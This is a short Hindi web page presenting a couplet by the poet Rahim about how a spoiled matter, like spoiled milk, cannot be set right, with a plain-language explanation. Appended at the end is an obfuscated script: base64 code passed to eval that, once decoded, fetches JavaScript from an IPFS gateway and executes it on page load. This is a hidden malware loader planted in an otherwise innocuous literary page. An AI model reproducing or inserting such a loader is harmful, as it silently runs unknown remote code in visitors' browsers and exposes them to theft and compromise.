बिगरी बात बने नहीं -रहीम
भारत डिस्कवरी प्रस्तुति
बिगरी बात बने नहीं, लाख करो किन कोय।
रहिमन बिगरे दूध को, मथे न माखन होय॥
- अर्थ
जब बात बिगड़ जाती है तो किसी के लाख कोशिश करने पर भी बनती नहीं है। उसी तरह जैसे कि दूध को मथने से मक्खन नहीं निकलता।
रहीम के दोहे |
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>